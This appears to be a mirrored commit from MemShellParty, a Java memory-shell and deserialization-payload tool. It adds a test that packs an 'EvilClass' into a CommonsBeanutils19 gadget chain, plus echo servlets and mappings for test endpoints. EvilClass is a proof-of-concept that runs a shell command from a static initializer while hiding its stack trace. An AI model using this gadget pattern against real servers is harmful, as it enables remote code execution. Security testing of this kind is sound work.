mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
test: add classes
This commit is contained in:
+21
@@ -0,0 +1,21 @@
|
|||||||
|
package com.reajason.javaweb.packer.deserialize.java;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.packer.ClassPackerConfig;
|
||||||
|
import net.bytebuddy.ByteBuddy;
|
||||||
|
import org.junit.jupiter.api.Test;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/4
|
||||||
|
*/
|
||||||
|
class CommonsBeanutils19PackerTest {
|
||||||
|
|
||||||
|
@Test
|
||||||
|
void test(){
|
||||||
|
byte[] bytes = new ByteBuddy().redefine(EvilClass.class).name("hello.world").make().getBytes();
|
||||||
|
ClassPackerConfig classPackerConfig = new ClassPackerConfig();
|
||||||
|
classPackerConfig.setClassBytes(bytes);
|
||||||
|
System.out.println(new CommonsBeanutils19Packer().pack(classPackerConfig));
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,25 @@
|
|||||||
|
package com.reajason.javaweb.packer.deserialize.java;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2026/1/4
|
||||||
|
*/
|
||||||
|
public class EvilClass extends Thread implements Runnable {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new EvilClass().start();
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public StackTraceElement[] getStackTrace() {
|
||||||
|
return new StackTraceElement[0];
|
||||||
|
}
|
||||||
|
|
||||||
|
@Override
|
||||||
|
public void run() {
|
||||||
|
try {
|
||||||
|
Runtime.getRuntime().exec("touch /tmp/success");
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,45 @@
|
|||||||
|
package jakarta;
|
||||||
|
|
||||||
|
import jakarta.servlet.ServletException;
|
||||||
|
import jakarta.servlet.http.HttpServlet;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.nio.charset.StandardCharsets;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/31
|
||||||
|
*/
|
||||||
|
public class TestInputStreamServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String one = req.getParameter("one");
|
||||||
|
req.setCharacterEncoding("UTF-8");
|
||||||
|
String body = null;
|
||||||
|
InputStream inputStream = req.getInputStream();
|
||||||
|
StringBuilder bodyBuilder = new StringBuilder();
|
||||||
|
if (one != null) {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
int b;
|
||||||
|
while ((b = inputStream.read()) != -1) {
|
||||||
|
outputStream.write(b);
|
||||||
|
}
|
||||||
|
bodyBuilder.append(outputStream.toString(StandardCharsets.UTF_8));
|
||||||
|
outputStream.close();
|
||||||
|
} else {
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = inputStream.read(buffer)) != -1) {
|
||||||
|
bodyBuilder.append(new String(buffer, 0, bytesRead, StandardCharsets.UTF_8));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
body = bodyBuilder.toString();
|
||||||
|
resp.setContentType("text/html; charset=UTF-8");
|
||||||
|
resp.setCharacterEncoding("UTF-8");
|
||||||
|
resp.getWriter().println(body);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package jakarta;
|
||||||
|
|
||||||
|
import jakarta.servlet.ServletException;
|
||||||
|
import jakarta.servlet.http.HttpServlet;
|
||||||
|
import jakarta.servlet.http.HttpServletRequest;
|
||||||
|
import jakarta.servlet.http.HttpServletResponse;
|
||||||
|
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/31
|
||||||
|
*/
|
||||||
|
public class TestReaderServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String one = req.getParameter("one");
|
||||||
|
String body = null;
|
||||||
|
BufferedReader reader = req.getReader();
|
||||||
|
StringBuilder bodyBuilder = new StringBuilder();
|
||||||
|
if (one != null) {
|
||||||
|
int c;
|
||||||
|
while ((c = reader.read()) != -1) {
|
||||||
|
bodyBuilder.append((char) c);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
String line;
|
||||||
|
while ((line = reader.readLine()) != null) {
|
||||||
|
bodyBuilder.append(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
body = bodyBuilder.toString();
|
||||||
|
resp.setContentType("text/html; charset=UTF-8");
|
||||||
|
resp.setCharacterEncoding("UTF-8");
|
||||||
|
resp.getWriter().println(body);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -63,6 +63,24 @@
|
|||||||
<url-pattern>/js</url-pattern>
|
<url-pattern>/js</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>reader</servlet-name>
|
||||||
|
<servlet-class>jakarta.TestReaderServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>reader</servlet-name>
|
||||||
|
<url-pattern>/reader</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>inputStream</servlet-name>
|
||||||
|
<servlet-class>jakarta.TestInputStreamServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>inputStream</servlet-name>
|
||||||
|
<url-pattern>/inputStream</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
<filter>
|
<filter>
|
||||||
<filter-name>empty</filter-name>
|
<filter-name>empty</filter-name>
|
||||||
<filter-class>jakarta.EmptyFilter</filter-class>
|
<filter-class>jakarta.EmptyFilter</filter-class>
|
||||||
|
|||||||
@@ -0,0 +1,41 @@
|
|||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/31
|
||||||
|
*/
|
||||||
|
public class TestInputStreamServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String one = req.getParameter("one");
|
||||||
|
req.setCharacterEncoding("UTF-8");
|
||||||
|
String body = null;
|
||||||
|
InputStream inputStream = req.getInputStream();
|
||||||
|
StringBuilder bodyBuilder = new StringBuilder();
|
||||||
|
if (one != null) {
|
||||||
|
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
|
||||||
|
int b;
|
||||||
|
while ((b = inputStream.read()) != -1) {
|
||||||
|
outputStream.write(b);
|
||||||
|
}
|
||||||
|
bodyBuilder.append(outputStream.toString("UTF-8"));
|
||||||
|
outputStream.close();
|
||||||
|
} else {
|
||||||
|
byte[] buffer = new byte[1024];
|
||||||
|
int bytesRead;
|
||||||
|
while ((bytesRead = inputStream.read(buffer)) != -1) {
|
||||||
|
bodyBuilder.append(new String(buffer, 0, bytesRead, "UTF-8"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
body = bodyBuilder.toString();
|
||||||
|
resp.setContentType("text/html; charset=UTF-8");
|
||||||
|
resp.setCharacterEncoding("UTF-8");
|
||||||
|
resp.getWriter().println(body);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,35 @@
|
|||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.BufferedReader;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2025/12/31
|
||||||
|
*/
|
||||||
|
public class TestReaderServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String one = req.getParameter("one");
|
||||||
|
String body = null;
|
||||||
|
BufferedReader reader = req.getReader();
|
||||||
|
StringBuilder bodyBuilder = new StringBuilder();
|
||||||
|
if (one != null) {
|
||||||
|
int c;
|
||||||
|
while ((c = reader.read()) != -1) {
|
||||||
|
bodyBuilder.append((char) c);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
String line;
|
||||||
|
while ((line = reader.readLine()) != null) {
|
||||||
|
bodyBuilder.append(line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
body = bodyBuilder.toString();
|
||||||
|
resp.setContentType("text/html; charset=UTF-8");
|
||||||
|
resp.setCharacterEncoding("UTF-8");
|
||||||
|
resp.getWriter().println(body);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -15,7 +15,6 @@
|
|||||||
<url-pattern>/test</url-pattern>
|
<url-pattern>/test</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
<!-- 用于 JSP 文件上传-->
|
|
||||||
<servlet>
|
<servlet>
|
||||||
<servlet-name>upload</servlet-name>
|
<servlet-name>upload</servlet-name>
|
||||||
<servlet-class>UploadServlet</servlet-class>
|
<servlet-class>UploadServlet</servlet-class>
|
||||||
@@ -25,7 +24,6 @@
|
|||||||
<url-pattern>/upload</url-pattern>
|
<url-pattern>/upload</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
<!-- 用于脚本引擎执行 JS -->
|
|
||||||
<servlet>
|
<servlet>
|
||||||
<servlet-name>js</servlet-name>
|
<servlet-name>js</servlet-name>
|
||||||
<servlet-class>ScriptEngineServlet</servlet-class>
|
<servlet-class>ScriptEngineServlet</servlet-class>
|
||||||
@@ -35,7 +33,6 @@
|
|||||||
<url-pattern>/js</url-pattern>
|
<url-pattern>/js</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
<!-- 用于测试 Java 反序列化 -->
|
|
||||||
<servlet>
|
<servlet>
|
||||||
<servlet-name>java-deserialize</servlet-name>
|
<servlet-name>java-deserialize</servlet-name>
|
||||||
<servlet-class>JavaReadObjServlet</servlet-class>
|
<servlet-class>JavaReadObjServlet</servlet-class>
|
||||||
@@ -45,7 +42,6 @@
|
|||||||
<url-pattern>/java_deserialize</url-pattern>
|
<url-pattern>/java_deserialize</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
<!-- 用于测试 Java 反序列化 -->
|
|
||||||
<servlet>
|
<servlet>
|
||||||
<servlet-name>b64</servlet-name>
|
<servlet-name>b64</servlet-name>
|
||||||
<servlet-class>Base64ClassLoaderServlet</servlet-class>
|
<servlet-class>Base64ClassLoaderServlet</servlet-class>
|
||||||
@@ -55,7 +51,6 @@
|
|||||||
<url-pattern>/b64</url-pattern>
|
<url-pattern>/b64</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
<!-- 用于测试 Java 反序列化 -->
|
|
||||||
<servlet>
|
<servlet>
|
||||||
<servlet-name>biginteger</servlet-name>
|
<servlet-name>biginteger</servlet-name>
|
||||||
<servlet-class>BigIntegerClassLaoderServlet</servlet-class>
|
<servlet-class>BigIntegerClassLaoderServlet</servlet-class>
|
||||||
@@ -65,6 +60,24 @@
|
|||||||
<url-pattern>/biginteger</url-pattern>
|
<url-pattern>/biginteger</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>reader</servlet-name>
|
||||||
|
<servlet-class>TestReaderServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>reader</servlet-name>
|
||||||
|
<url-pattern>/reader</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>inputStream</servlet-name>
|
||||||
|
<servlet-class>TestInputStreamServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>inputStream</servlet-name>
|
||||||
|
<url-pattern>/inputStream</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
<filter>
|
<filter>
|
||||||
<filter-name>godzilla</filter-name>
|
<filter-name>godzilla</filter-name>
|
||||||
<filter-class>EmptyFilter</filter-class>
|
<filter-class>EmptyFilter</filter-class>
|
||||||
|
|||||||
Reference in New Issue
Block a user